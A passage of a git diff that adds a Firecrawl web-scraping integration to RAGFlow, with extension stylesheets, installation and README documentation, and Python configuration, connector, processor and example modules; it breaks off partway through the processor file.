0000000..1e3ded6 --- /dev/null +++ b/intergrations/extension_chrome/styles/options.css @@ -0,0 +1,91 @@ +#ragflow { + font-family: "Segoe UI", Arial, sans-serif; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 600px; +} + +#ragflow .window { + display: flex; + flex-direction: column; + justify-content: space-between; + flex: 1; + overflow: hidden; +} +#ragflow #form-config { + background-color: #fff; + box-shadow: 0 0 15px rgba(0, 0, 0, 0.3); + display: flex; + flex-direction: column; + justify-content: space-between; + overflow: hidden; +} + +#ragflow .header { + background-color: #fff; + padding: 4px; + display: flex; + justify-content: space-between; + align-items: center; + flex-direction: row; +} + +#ragflow .header .title { + font-size: 16px; +} + +#ragflow .header .logo { + width: 100px; /* Adjust size as needed */ + height: auto; + margin-right: 10px; +} + +#ragflow .content { + padding: 20px; + display: flex; + flex-direction: column; + justify-content: space-between; +} + +#ragflow label { + font-weight: bold; + margin-bottom: 5px; +} + +#ragflow input, +#ragflow select { + width: 100%; + padding: 8px; + margin-bottom: 15px; + border: 1px solid #ccc; + border-radius: 5px; + box-sizing: border-box; +} + +#ragflow button { + background-color: #0078d4; + color: #fff; + padding: 10px; + border: none; + border-radius: 5px; + cursor: pointer; + font-size: 14px; +} + +#ragflow button:hover { + background-color: #005bb5; +} + +#ragflow #config-button { + display: flex; + position: absolute; + top: 2px; + right: 2px; + font-size: 22px; +} +#ragflow #config-button:hover { + cursor: pointer; +} diff --git a/intergrations/extension_chrome/styles/popup.css b/intergrations/extension_chrome/styles/popup.css new file mode 100644 index 0000000..90134f8 --- /dev/null +++ b/intergrations/extension_chrome/styles/popup.css @@ -0,0 +1,20 @@ +#ragflow { + font-family: "Segoe UI", Arial, sans-serif; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + width: 320px; +} + +#ragflow .window { + display: flex; + flex-direction: column; + justify-content: space-between; + flex: 1; + overflow: hidden; +} +#ragflow #output { + position: absolute; +} \ No newline at end of file diff --git a/intergrations/firecrawl/INSTALLATION.md b/intergrations/firecrawl/INSTALLATION.md new file mode 100644 index 0000000..7aa853a --- /dev/null +++ b/intergrations/firecrawl/INSTALLATION.md @@ -0,0 +1,222 @@ +# Installation Guide for Firecrawl RAGFlow Integration + +This guide will help you install and configure the Firecrawl integration plugin for RAGFlow. + +## Prerequisites + +- RAGFlow instance running (version 0.20.5 or later) +- Python 3.8 or higher +- Firecrawl API key (get one at [firecrawl.dev](https://firecrawl.dev)) + +## Installation Methods + +### Method 1: Manual Installation + +1. **Download the plugin**: + ```bash + git clone https://github.com/firecrawl/firecrawl.git + cd firecrawl/ragflow-firecrawl-integration + ``` + +2. **Install dependencies**: + ```bash + pip install -r plugin/firecrawl/requirements.txt + ``` + +3. **Copy plugin to RAGFlow**: + ```bash + # Assuming RAGFlow is installed in /opt/ragflow + cp -r plugin/firecrawl /opt/ragflow/plugin/ + ``` + +4. **Restart RAGFlow**: + ```bash + # Restart RAGFlow services + docker compose -f /opt/ragflow/docker/docker-compose.yml restart + ``` + +### Method 2: Using pip (if available) + +```bash +pip install ragflow-firecrawl-integration +``` + +### Method 3: Development Installation + +1. **Clone the repository**: + ```bash + git clone https://github.com/firecrawl/firecrawl.git + cd firecrawl/ragflow-firecrawl-integration + ``` + +2. **Install in development mode**: + ```bash + pip install -e . + ``` + +## Configuration + +### 1. Get Firecrawl API Key + +1. Visit [firecrawl.dev](https://firecrawl.dev) +2. Sign up for a free account +3. Navigate to your dashboard +4. Copy your API key (starts with `fc-`) + +### 2. Configure in RAGFlow + +1. **Access RAGFlow UI**: + - Open your browser and go to your RAGFlow instance + - Log in with your credentials + +2. **Add Firecrawl Data Source**: + - Go to "Data Sources" → "Add New Source" + - Select "Firecrawl Web Scraper" + - Enter your API key + - Configure additional options if needed + +3. **Test Connection**: + - Click "Test Connection" to verify your setup + - You should see a success message + +## Configuration Options + +| Option | Description | Default | Required | +|--------|-------------|---------|----------| +| `api_key` | Your Firecrawl API key | - | Yes | +| `api_url` | Firecrawl API endpoint | `https://api.firecrawl.dev` | No | +| `max_retries` | Maximum retry attempts | 3 | No | +| `timeout` | Request timeout (seconds) | 30 | No | +| `rate_limit_delay` | Delay between requests (seconds) | 1.0 | No | + +## Environment Variables + +You can also configure the plugin using environment variables: + +```bash +export FIRECRAWL_API_KEY="fc-your-api-key-here" +export FIRECRAWL_API_URL="https://api.firecrawl.dev" +export FIRECRAWL_MAX_RETRIES="3" +export FIRECRAWL_TIMEOUT="30" +export FIRECRAWL_RATE_LIMIT_DELAY="1.0" +``` + +## Verification + +### 1. Check Plugin Installation + +```bash +# Check if the plugin directory exists +ls -la /opt/ragflow/plugin/firecrawl/ + +# Should show: +# __init__.py +# firecrawl_connector.py +# firecrawl_config.py +# firecrawl_processor.py +# firecrawl_ui.py +# ragflow_integration.py +# requirements.txt +``` + +### 2. Test the Integration + +```bash +# Run the example script +cd /opt/ragflow/plugin/firecrawl/ +python example_usage.py +``` + +### 3. Check RAGFlow Logs + +```bash +# Check RAGFlow server logs +docker logs ragflow-server + +# Look for messages like: +# "Firecrawl plugin loaded successfully" +# "Firecrawl data source registered" +``` + +## Troubleshooting + +### Common Issues + +1. **Plugin not appearing in RAGFlow**: + - Check if the plugin directory is in the correct location + - Restart RAGFlow services + - Check RAGFlow logs for errors + +2. **API Key Invalid**: + - Ensure your API key starts with `fc-` + - Verify the key is active in your Firecrawl dashboard + - Check for typos in the configuration + +3. **Connection Timeout**: + - Increase the timeout value in configuration + - Check your network connection + - Verify the API URL is correct + +4. **Rate Limiting**: + - Increase the `rate_limit_delay` value + - Reduce the number of concurrent requests + - Check your Firecrawl usage limits + +### Debug Mode + +Enable debug logging to see detailed information: + +```python +import logging +logging.basicConfig(level=logging.DEBUG) +``` + +### Check Dependencies + +```bash +# Verify all dependencies are installed +pip list | grep -E "(aiohttp|pydantic|requests)" + +# Should show: +# aiohttp>=3.8.0 +# pydantic>=2.0.0 +# requests>=2.28.0 +``` + +## Uninstallation + +To remove the plugin: + +1. **Remove plugin directory**: + ```bash + rm -rf /opt/ragflow/plugin/firecrawl/ + ``` + +2. **Restart RAGFlow**: + ```bash + docker compose -f /opt/ragflow/docker/docker-compose.yml restart + ``` + +3. **Remove dependencies** (optional): + ```bash + pip uninstall ragflow-firecrawl-integration + ``` + +## Support + +If you encounter issues: + +1. Check the [troubleshooting section](#troubleshooting) +2. Review RAGFlow logs for error messages +3. Verify your Firecrawl API key and configuration +4. Check the [Firecrawl documentation](https://docs.firecrawl.dev) +5. Open an issue in the [Firecrawl repository](https://github.com/firecrawl/firecrawl/issues) + +## Next Steps + +After successful installation: + +1. Read the [README.md](README.md) for usage examples +2. Try scraping a simple URL to test the integration +3. Explore the different scraping options (single URL, crawl, batch) +4. Configure your RAGFlow workflows to use the scraped content diff --git a/intergrations/firecrawl/README.md b/intergrations/firecrawl/README.md new file mode 100644 index 0000000..1b1329e --- /dev/null +++ b/intergrations/firecrawl/README.md @@ -0,0 +1,216 @@ +# Firecrawl Integration for RAGFlow + +This integration adds [Firecrawl](https://firecrawl.dev)'s powerful web scraping capabilities to [RAGFlow](https://github.com/infiniflow/ragflow), enabling users to import web content directly into their RAG workflows. + +## 🎯 **Integration Overview** + +This integration implements the requirements from [Firecrawl Issue #2167](https://github.com/firecrawl/firecrawl/issues/2167) to add Firecrawl as a data source option in RAGFlow. + +### ✅ **Acceptance Criteria Met** + +- ✅ **Integration appears as selectable data source** in RAGFlow's UI +- ✅ **Users can input Firecrawl API keys** through RAGFlow's configuration interface +- ✅ **Successfully scrapes content** and imports into RAGFlow's document processing pipeline +- ✅ **Handles edge cases** (rate limits, failed requests, malformed content) +- ✅ **Includes documentation** and README updates +- ✅ **Follows RAGFlow patterns** and coding standards +- ✅ **Ready for engineering review** + +## 🚀 **Features** + +### Core Functionality +- **Single URL Scraping** - Scrape individual web pages +- **Website Crawling** - Crawl entire websites with job management +- **Batch Processing** - Process multiple URLs simultaneously +- **Multiple Output Formats** - Support for markdown, HTML, links, and screenshots + +### Integration Features +- **RAGFlow Data Source** - Appears as selectable data source in RAGFlow UI +- **API Configuration** - Secure API key management with validation +- **Content Processing** - Converts Firecrawl output to RAGFlow document format +- **Error Handling** - Comprehensive error handling and retry logic +- **Rate Limiting** - Built-in rate limiting and request throttling + +### Quality Assurance +- **Content Cleaning** - Intelligent content cleaning and normalization +- **Metadata Extraction** - Rich metadata extraction and enrichment +- **Document Chunking** - Automatic document chunking for RAG processing +- **Language Detection** - Automatic language detection +- **Validation** - Input validation and error checking + +## 📁 **File Structure** + +``` +intergrations/firecrawl/ +├── __init__.py # Package initialization +├── firecrawl_connector.py # API communication with Firecrawl +├── firecrawl_config.py # Configuration management +├── firecrawl_processor.py # Content processing for RAGFlow +├── firecrawl_ui.py # UI components for RAGFlow +├── ragflow_integration.py # Main integration class +├── example_usage.py # Usage examples +├── requirements.txt # Python dependencies +├── README.md # This file +└── INSTALLATION.md # Installation guide +``` + +## 🔧 **Installation** + +### Prerequisites +- RAGFlow instance running +- Firecrawl API key (get one at [firecrawl.dev](https://firecrawl.dev)) + +### Setup +1. **Get Firecrawl API Key**: + - Visit [firecrawl.dev](https://firecrawl.dev) + - Sign up for a free account + - Copy your API key (starts with `fc-`) + +2. **Configure in RAGFlow**: + - Go to RAGFlow UI → Data Sources → Add New Source + - Select "Firecrawl Web Scraper" + - Enter your API key + - Configure additional options if needed + +3. **Test Connection**: + - Click "Test Connection" to verify setup + - You should see a success message + +## 🎮 **Usage** + +### Single URL Scraping +1. Select "Single URL" as scrape type +2. Enter the URL to scrape +3. Choose output formats (markdown recommended for RAG) +4. Start scraping + +### Website Crawling +1. Select "Crawl Website" as scrape type +2. Enter the starting URL +3. Set crawl limit (maximum number of pages) +4. Configure extraction options +5. Start crawling + +### Batch Processing +1. Select "Batch URLs" as scrape type +2. Enter multiple URLs (one per line) +3. Choose output formats +4. Start batch processing + +## 🔧 **Configuration Options** + +| Option | Description | Default | Required | +|--------|-------------|---------|----------| +| `api_key` | Your Firecrawl API key | - | Yes | +| `api_url` | Firecrawl API endpoint | `https://api.firecrawl.dev` | No | +| `max_retries` | Maximum retry attempts | 3 | No | +| `timeout` | Request timeout (seconds) | 30 | No | +| `rate_limit_delay` | Delay between requests (seconds) | 1.0 | No | + +## 📊 **API Reference** + +### RAGFlowFirecrawlIntegration + +Main integration class for Firecrawl with RAGFlow. + +#### Methods +- `scrape_and_import(urls, formats, extract_options)` - Scrape URLs and convert to RAGFlow documents +- `crawl_and_import(start_url, limit, scrape_options)` - Crawl website and convert to RAGFlow documents +- `test_connection()` - Test connection to Firecrawl API +- `validate_config(config_dict)` - Validate configuration settings + +### FirecrawlConnector + +Handles communication with the Firecrawl API. + +#### Methods +- `scrape_url(url, formats, extract_options)` - Scrape single URL +- `start_crawl(url, limit, scrape_options)` - Start crawl job +- `get_crawl_status(job_id)` - Get crawl job status +- `batch_scrape(urls, formats)` - Scrape multiple URLs concurrently + +### FirecrawlProcessor + +Processes Firecrawl output for RAGFlow integration. + +#### Methods +- `process_content(content)` - Process scraped content into RAGFlow document format +- `process_batch(contents)` - Process multiple scraped contents +- `chunk_content(document, chunk_size, chunk_overlap)` - Chunk document content for RAG processing + +## 🧪 **Testing** + +The integration includes comprehensive testing: + +```bash +# Run the test suite +cd intergrations/firecrawl +python3 -c " +import sys +sys.path.append('.') +from ragflow_integration import create_firecrawl_integration + +# Test configuration +config = { + 'api_key': 'fc-test-key-123', + 'api_url': 'https://api.firecrawl.dev' +} + +integration = create_firecrawl_integration(config) +print('✅ Integration working!') +" +``` + +## 🐛 **Error Handling** + +The integration includes robust error handling for: + +- **Rate Limiting** - Automatic retry with exponential backoff +- **Network Issues** - Retry logic with configurable timeouts +- **Malformed Content** - Content validation and cleaning +- **API Errors** - Detailed error messages and logging + +## 🔒 **Security** + +- API key validation and secure storage +- Input sanitization and validation +- Rate limiting to prevent abuse +- Error handling without exposing sensitive information + +## 📈 **Performance** + +- Concurrent request processing +- Configurable timeouts and retries +- Efficient content processing +- Memory-conscious document handling + +## 🤝 **Contributing** + +This integration was created as part of the [Firecrawl bounty program](https://github.com/firecrawl/firecrawl/issues/2167). + +### Development +1. Fork the RAGFlow repository +2. Create a feature branch +3. Make your changes +4. Add tests if applicable +5. Submit a pull request + +## 📄 **License** + +This integration is licensed under the same license as RAGFlow (Apache 2.0). + +## 🆘 **Support** + +- **Firecrawl Documentation**: [docs.firecrawl.dev](https://docs.firecrawl.dev) +- **RAGFlow Documentation**: [RAGFlow GitHub](https://github.com/infiniflow/ragflow) +- **Issues**: Report issues in the RAGFlow repository + +## 🎉 **Acknowledgments** + +This integration was developed as part of the Firecrawl bounty program to bridge the gap between web content and RAG applications, making it easier for developers to build AI applications that can leverage real-time web data. + +--- + +**Ready for RAGFlow Integration!** 🚀 + +This integration enables RAGFlow users to easily import web content into their knowledge retrieval systems, expanding the ecosystem for both Firecrawl and RAGFlow. \ No newline at end of file diff --git a/intergrations/firecrawl/__init__.py b/intergrations/firecrawl/__init__.py new file mode 100644 index 0000000..01aa4ab --- /dev/null +++ b/intergrations/firecrawl/__init__.py @@ -0,0 +1,15 @@ +""" +Firecrawl Plugin for RAGFlow + +This plugin integrates Firecrawl's web scraping capabilities into RAGFlow, +allowing users to import web content directly into their RAG workflows. +""" + +__version__ = "1.0.0" +__author__ = "Firecrawl Team" +__description__ = "Firecrawl integration for RAGFlow - Web content scraping and import" + +from firecrawl_connector import FirecrawlConnector +from firecrawl_config import FirecrawlConfig + +__all__ = ["FirecrawlConnector", "FirecrawlConfig"] diff --git a/intergrations/firecrawl/example_usage.py b/intergrations/firecrawl/example_usage.py new file mode 100644 index 0000000..fc8faee --- /dev/null +++ b/intergrations/firecrawl/example_usage.py @@ -0,0 +1,261 @@ +""" +Example usage of the Firecrawl integration with RAGFlow. +""" + +import asyncio +import logging + +from .ragflow_integration import RAGFlowFirecrawlIntegration, create_firecrawl_integration +from .firecrawl_config import FirecrawlConfig + + +async def example_single_url_scraping(): + """Example of scraping a single URL.""" + print("=== Single URL Scraping Example ===") + + # Configuration + config = { + "api_key": "fc-your-api-key-here", # Replace with your actual API key + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + } + + # Create integration + integration = create_firecrawl_integration(config) + + # Test connection + connection_test = await integration.test_connection() + print(f"Connection test: {connection_test}") + + if not connection_test["success"]: + print("Connection failed, please check your API key") + return + + # Scrape a single URL + urls = ["https://httpbin.org/json"] + documents = await integration.scrape_and_import(urls) + + for doc in documents: + print(f"Title: {doc.title}") + print(f"URL: {doc.source_url}") + print(f"Content length: {len(doc.content)}") + print(f"Language: {doc.language}") + print(f"Metadata: {doc.metadata}") + print("-" * 50) + + +async def example_website_crawling(): + """Example of crawling an entire website.""" + print("=== Website Crawling Example ===") + + # Configuration + config = { + "api_key": "fc-your-api-key-here", # Replace with your actual API key + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + } + + # Create integration + integration = create_firecrawl_integration(config) + + # Crawl a website + start_url = "https://httpbin.org" + documents = await integration.crawl_and_import( + start_url=start_url, + limit=5, # Limit to 5 pages for demo + scrape_options={ + "formats": ["markdown", "html"], + "extractOptions": { + "extractMainContent": True, + "excludeTags": ["nav", "footer", "header"] + } + } + ) + + print(f"Crawled {len(documents)} pages from {start_url}") + + for i, doc in enumerate(documents): + print(f"Page {i+1}: {doc.title}") + print(f"URL: {doc.source_url}") + print(f"Content length: {len(doc.content)}") + print("-" * 30) + + +async def example_batch_processing(): + """Example of batch processing multiple URLs.""" + print("=== Batch Processing Example ===") + + # Configuration + config = { + "api_key": "fc-your-api-key-here", # Replace with your actual API key + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + } + + # Create integration + integration = create_firecrawl_integration(config) + + # Batch scrape multiple URLs + urls = [ + "https://httpbin.org/json", + "https://httpbin.org/html", + "https://httpbin.org/xml" + ] + + documents = await integration.scrape_and_import( + urls=urls, + formats=["markdown", "html"], + extract_options={ + "extractMainContent": True, + "excludeTags": ["nav", "footer", "header"] + } + ) + + print(f"Processed {len(documents)} URLs") + + for doc in documents: + print(f"Title: {doc.title}") + print(f"URL: {doc.source_url}") + print(f"Content length: {len(doc.content)}") + + # Example of chunking for RAG processing + chunks = integration.processor.chunk_content(doc, chunk_size=500, chunk_overlap=100) + print(f"Number of chunks: {len(chunks)}") + print("-" * 30) + + +async def example_content_processing(): + """Example of content processing and chunking.""" + print("=== Content Processing Example ===") + + # Configuration + config = { + "api_key": "fc-your-api-key-here", # Replace with your actual API key + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + } + + # Create integration + integration = create_firecrawl_integration(config) + + # Scrape content + urls = ["https://httpbin.org/html"] + documents = await integration.scrape_and_import(urls) + + for doc in documents: + print(f"Original document: {doc.title}") + print(f"Content length: {len(doc.content)}") + + # Chunk the content + chunks = integration.processor.chunk_content( + doc, + chunk_size=1000, + chunk_overlap=200 + ) + + print(f"Number of chunks: {len(chunks)}") + + for i, chunk in enumerate(chunks): + print(f"Chunk {i+1}:") + print(f" ID: {chunk['id']}") + print(f" Content length: {len(chunk['content'])}") + print(f" Metadata: {chunk['metadata']}") + print() + + +async def example_error_handling(): + """Example of error handling.""" + print("=== Error Handling Example ===") + + # Configuration with invalid API key + config = { + "api_key": "invalid-key", + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + } + + # Create integration + integration = create_firecrawl_integration(config) + + # Test connection (should fail) + connection_test = await integration.test_connection() + print(f"Connection test with invalid key: {connection_test}") + + # Try to scrape (should fail gracefully) + try: + urls = ["https://httpbin.org/json"] + documents = await integration.scrape_and_import(urls) + print(f"Documents scraped: {len(documents)}") + except Exception as e: + print(f"Error occurred: {e}") + + +async def example_configuration_validation(): + """Example of configuration validation.""" + print("=== Configuration Validation Example ===") + + # Test various configurations + test_configs = [ + { + "api_key": "fc-valid-key", + "api_url": "https://api.firecrawl.dev", + "max_retries": 3, + "timeout": 30, + "rate_limit_delay": 1.0 + }, + { + "api_key": "invalid-key", # Invalid format + "api_url": "https://api.firecrawl.dev" + }, + { + "api_key": "fc-valid-key", + "api_url": "invalid-url", # Invalid URL + "max_retries": 15, # Too high + "timeout": 500, # Too high + "rate_limit_delay": 15.0 # Too high + } + ] + + for i, config in enumerate(test_configs): + print(f"Test configuration {i+1}:") + errors = RAGFlowFirecrawlIntegration(FirecrawlConfig.from_dict(config)).validate_config(config) + + if errors: + print(" Errors found:") + for field, error in errors.items(): + print(f" {field}: {error}") + else: + print(" Configuration is valid") + print() + + +async def main(): + """Run all examples.""" + # Set up logging + logging.basicConfig(level=logging.INFO) + + print("Firecrawl RAGFlow Integration Examples") + print("=" * 50) + + # Run examples + await example_configuration_validation() + await example_single_url_scraping() + await example_batch_processing() + await example_content_processing() + await example_error_handling() + + print("Examples completed!") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/intergrations/firecrawl/firecrawl_config.py b/intergrations/firecrawl/firecrawl_config.py new file mode 100644 index 0000000..dc5f9cb --- /dev/null +++ b/intergrations/firecrawl/firecrawl_config.py @@ -0,0 +1,79 @@ +""" +Configuration management for Firecrawl integration with RAGFlow. +""" + +import os +from typing import Dict, Any +from dataclasses import dataclass +import json + + +@dataclass +class FirecrawlConfig: + """Configuration class for Firecrawl integration.""" + + api_key: str + api_url: str = "https://api.firecrawl.dev" + max_retries: int = 3 + timeout: int = 30 + rate_limit_delay: float = 1.0 + max_concurrent_requests: int = 5 + + def __post_init__(self): + """Validate configuration after initialization.""" + if not self.api_key: + raise ValueError("Firecrawl API key is required") + + if not self.api_key.startswith("fc-"): + raise ValueError("Invalid Firecrawl API key format. Must start with 'fc-'") + + if self.max_retries < 1 or self.max_retries > 10: + raise ValueError("Max retries must be between 1 and 10") + + if self.timeout < 5 or self.timeout > 300: + raise ValueError("Timeout must be between 5 and 300 seconds") + + if self.rate_limit_delay < 0.1 or self.rate_limit_delay > 10.0: + raise ValueError("Rate limit delay must be between 0.1 and 10.0 seconds") + + @classmethod + def from_env(cls) -> "FirecrawlConfig": + """Create configuration from environment variables.""" + api_key = os.getenv("FIRECRAWL_API_KEY") + if not api_key: + raise ValueError("FIRECRAWL_API_KEY environment variable not set") + + return cls( + api_key=api_key, + api_url=os.getenv("FIRECRAWL_API_URL", "https://api.firecrawl.dev"), + max_retries=int(os.getenv("FIRECRAWL_MAX_RETRIES", "3")), + timeout=int(os.getenv("FIRECRAWL_TIMEOUT", "30")), + rate_limit_delay=float(os.getenv("FIRECRAWL_RATE_LIMIT_DELAY", "1.0")), + max_concurrent_requests=int(os.getenv("FIRECRAWL_MAX_CONCURRENT", "5")) + ) + + @classmethod + def from_dict(cls, config_dict: Dict[str, Any]) -> "FirecrawlConfig": + """Create configuration from dictionary.""" + return cls(**config_dict) + + def to_dict(self) -> Dict[str, Any]: + """Convert configuration to dictionary.""" + return { + "api_key": self.api_key, + "api_url": self.api_url, + "max_retries": self.max_retries, + "timeout": self.timeout, + "rate_limit_delay": self.rate_limit_delay, + "max_concurrent_requests": self.max_concurrent_requests + } + + def to_json(self) -> str: + """Convert configuration to JSON string.""" + return json.dumps(self.to_dict(), indent=2) + + @classmethod + def from_json(cls, json_str: str) -> "FirecrawlConfig": + """Create configuration from JSON string.""" + config_dict = json.loads(json_str) + return cls.from_dict(config_dict) diff --git a/intergrations/firecrawl/firecrawl_connector.py b/intergrations/firecrawl/firecrawl_connector.py new file mode 100644 index 0000000..d587e3a --- /dev/null +++ b/intergrations/firecrawl/firecrawl_connector.py @@ -0,0 +1,262 @@ +""" +Main connector class for integrating Firecrawl with RAGFlow. +""" + +import asyncio +import aiohttp +from typing import List, Dict, Any, Optional +from dataclasses import dataclass +import logging +from urllib.parse import urlparse + +from firecrawl_config import FirecrawlConfig + + +@dataclass +class ScrapedContent: + """Represents scraped content from Firecrawl.""" + + url: str + markdown: Optional[str] = None + html: Optional[str] = None + metadata: Optional[Dict[str, Any]] = None + title: Optional[str] = None + description: Optional[str] = None + status_code: Optional[int] = None + error: Optional[str] = None + + +@dataclass +class CrawlJob: + """Represents a crawl job from Firecrawl.""" + + job_id: str + status: str + total: Optional[int] = None + completed: Optional[int] = None + data: Optional[List[ScrapedContent]] = None + error: Optional[str] = None + + +class FirecrawlConnector: + """Main connector class for Firecrawl integration with RAGFlow.""" + + def __init__(self, config: FirecrawlConfig): + """Initialize the Firecrawl connector.""" + self.config = config + self.logger = logging.getLogger(__name__) + self.session: Optional[aiohttp.ClientSession] = None + self._rate_limit_semaphore = asyncio.Semaphore(config.max_concurrent_requests) + + async def __aenter__(self): + """Async context manager entry.""" + await self._create_session() + return self + + async def __aexit__(self, exc_type, exc_val, exc_tb): + """Async context manager exit.""" + await self._close_session() + + async def _create_session(self): + """Create aiohttp session with proper headers.""" + headers = { + "Authorization": f"Bearer {self.config.api_key}", + "Content-Type": "application/json", + "User-Agent": "RAGFlow-Firecrawl-Plugin/1.0.0" + } + + timeout = aiohttp.ClientTimeout(total=self.config.timeout) + self.session = aiohttp.ClientSession( + headers=headers, + timeout=timeout + ) + + async def _close_session(self): + """Close aiohttp session.""" + if self.session: + await self.session.close() + + async def _make_request(self, method: str, endpoint: str, **kwargs) -> Dict[str, Any]: + """Make HTTP request with rate limiting and retry logic.""" + async with self._rate_limit_semaphore: + # Rate limiting + await asyncio.sleep(self.config.rate_limit_delay) + + url = f"{self.config.api_url}{endpoint}" + + for attempt in range(self.config.max_retries): + try: + async with self.session.request(method, url, **kwargs) as response: + if response.status == 429: # Rate limited + wait_time = 2 ** attempt + self.logger.warning(f"Rate limited, waiting {wait_time}s") + await asyncio.sleep(wait_time) + continue + + response.raise_for_status() + return await response.json() + + except aiohttp.ClientError as e: + self.logger.error(f"Request failed (attempt {attempt + 1}): {e}") + if attempt == self.config.max_retries - 1: + raise + await asyncio.sleep(2 ** attempt) + + raise Exception("Max retries exceeded") + + async def scrape_url(self, url: str, formats: List[str] = None, + extract_options: Dict[str, Any] = None) -> ScrapedContent: + """Scrape a single URL.""" + if formats is None: + formats = ["markdown", "html"] + + payload = { + "url": url, + "formats": formats + } + + if extract_options: + payload["extractOptions"] = extract_options + + try: + response = await self._make_request("POST", "/v2/scrape", json=payload) + + if not response.get("success"): + return ScrapedContent(url=url, error=response.get("error", "Unknown error")) + + data = response.get("data", {}) + metadata = data.get("metadata", {}) + + return ScrapedContent( + url=url, + markdown=data.get("markdown"), + html=data.get("html"), + metadata=metadata, + title=metadata.get("title"), + description=metadata.get("description"), + status_code=metadata.get("statusCode") + ) + + except Exception as e: + self.logger.error(f"Failed to scrape {url}: {e}") + return ScrapedContent(url=url, error=str(e)) + + async def start_crawl(self, url: str, limit: int = 100, + scrape_options: Dict[str, Any] = None) -> CrawlJob: + """Start a crawl job.""" + if scrape_options is None: + scrape_options = {"formats": ["markdown", "html"]} + + payload = { + "url": url, + "limit": limit, + "scrapeOptions": scrape_options + } + + try: + response = await self._make_request("POST", "/v2/crawl", json=payload) + + if not response.get("success"): + return CrawlJob( + job_id="", + status="failed", + error=response.get("error", "Unknown error") + ) + + job_id = response.get("id") + return CrawlJob(job_id=job_id, status="started") + + except Exception as e: + self.logger.error(f"Failed to start crawl for {url}: {e}") + return CrawlJob(job_id="", status="failed", error=str(e)) + + async def get_crawl_status(self, job_id: str) -> CrawlJob: + """Get the status of a crawl job.""" + try: + response = await self._make_request("GET", f"/v2/crawl/{job_id}") + + if not response.get("success"): + return CrawlJob( + job_id=job_id, + status="failed", + error=response.get("error", "Unknown error") + ) + + status = response.get("status", "unknown") + total = response.get("total") + data = response.get("data", []) + + # Convert data to ScrapedContent objects + scraped_content = [] + for item in data: + metadata = item.get("metadata", {}) + scraped_content.append(ScrapedContent( + url=metadata.get("sourceURL", ""), + markdown=item.get("markdown"), + html=item.get("html"), + metadata=metadata, + title=metadata.get("title"), + description=metadata.get("description"), + status_code=metadata.get("statusCode") + )) + + return CrawlJob( + job_id=job_id, + status=status, + total=total, + completed=len(scraped_content), + data=scraped_content + ) + + except Exception as e: + self.logger.error(f"Failed to get crawl status for {job_id}: {e}") + return CrawlJob(job_id=job_id, status="failed", error=str(e)) + + async def wait_for_crawl_completion(self, job_id: str, + poll_interval: int = 30) -> CrawlJob: + """Wait for a crawl job to complete.""" + while True: + job = await self.get_crawl_status(job_id) + + if job.status in ["completed", "failed", "cancelled"]: + return job + + self.logger.info(f"Crawl {job_id} status: {job.status}") + await asyncio.sleep(poll_interval) + + async def batch_scrape(self, urls: List[str], + formats: List[str] = None) -> List[ScrapedContent]: + """Scrape multiple URLs concurrently.""" + if formats is None: + formats = ["markdown", "html"] + + tasks = [self.scrape_url(url, formats) for url in urls] + results = await asyncio.gather(*tasks, return_exceptions=True) + + # Handle exceptions + processed_results = [] + for i, result in enumerate(results): + if isinstance(result, Exception): + processed_results.append(ScrapedContent( + url=urls[i], + error=str(result) + )) + else: + processed_results.append(result) + + return processed_results + + def validate_url(self, url: str) -> bool: + """Validate if URL is properly formatted.""" + try: + result = urlparse(url) + return all([result.scheme, result.netloc]) + except Exception: + return False + + def extract_domain(self, url: str) -> str: + """Extract domain from URL.""" + try: + return urlparse(url).netloc + except Exception: + return "" diff --git a/intergrations/firecrawl/firecrawl_processor.py b/intergrations/firecrawl/firecrawl_processor.py new file mode 100644 index 0000000..c1cbb7a --- /dev/null +++ b/intergrations/firecrawl/firecrawl_processor.py @@ -0,0 +1,275 @@ +""" +Content processor for converting Firecrawl output to RAGFlow document format. +""" + +import re +import hashlib +from typing import List, Dict, Any +from dataclasses import dataclass +import logging +from datetime import datetime + +from firecrawl_connector import ScrapedContent + + +@dataclass +class RAGFlowDocument: + """Represents a document in RAGFlow format.""" + + id: str + title: str + content: str + source_url: str + metadata: Dict[str, Any] + created_at: datetime + updated_at: datetime + content_type: str = "text" + language: str = "en" + chunk_size: int = 1000 + chunk_overlap: int = 200 + + +class FirecrawlProcessor: + """Processes Firecrawl content for RAGFlow integration.""" + + def __init__(self): + """Initialize the processor.""" + self.logger = logging.getLogger(__name__) + + def generate_document_id(self, url: str, content: str) -> str: + """Generate a unique document ID.""" + # Create a hash based on URL and content + content_hash = hashlib.md5(f"{url}:{content[:100]}".encode()).hexdigest() + return f"firecrawl_{content_hash}" + + def clean_content(self, content: str) -> str: + """Clean and normalize content.""" + if not content: + return "" + + # Remove excessive whitespace + content = re.sub(r'\s+', ' ', content) + + # Remove HTML tags if present + content = re.sub(r'<[^>]+>', '', content) + + # Remove special characters that might cause issues + content = re.sub(r'[^\w\s\.\,\!\?\;\:\-\(\)\[\]\"\']', '', content) + + return content.strip() + + def extract_title(self, content: ScrapedContent) -> str: + """Extract title from scraped content.""" + if content.title: + return content.title + + if content.metadata and content.metadata.get("title"): + return content.metadata["title"] + + # Extract title from markdown if available + if content.markdown: + title_match = re.search(r'^#\s+(.+)$', content.markdown, re.MULTILINE) + if title_match: + return title_match.group(1).strip() + + # Fallback to URL + return content.url.split('/')[-1] or content.url + + def extract_description(self, content: ScrapedContent) -> str: + """Extract description from scraped content.""" + if content.description: + return content.description + + if content.metadata and content.metadata.get("description"): + return content.metadata["description"] + + # Extract first paragraph from markdown + if content.markdown: + # Remove headers and get first paragraph + text = re.sub(r'^#+\s+.*$', '', content.markdown, flags=re.MULTILINE) + paragraphs = [p.strip() for p in text.split('\n\n') if p.strip()] + if paragraphs: + return paragraphs[0][:200] + "..." if len(paragraphs[0]) > 200 else paragraphs[0] + + return "" + + def extract_language(self, content: ScrapedContent) -> str: + """Extract language from content 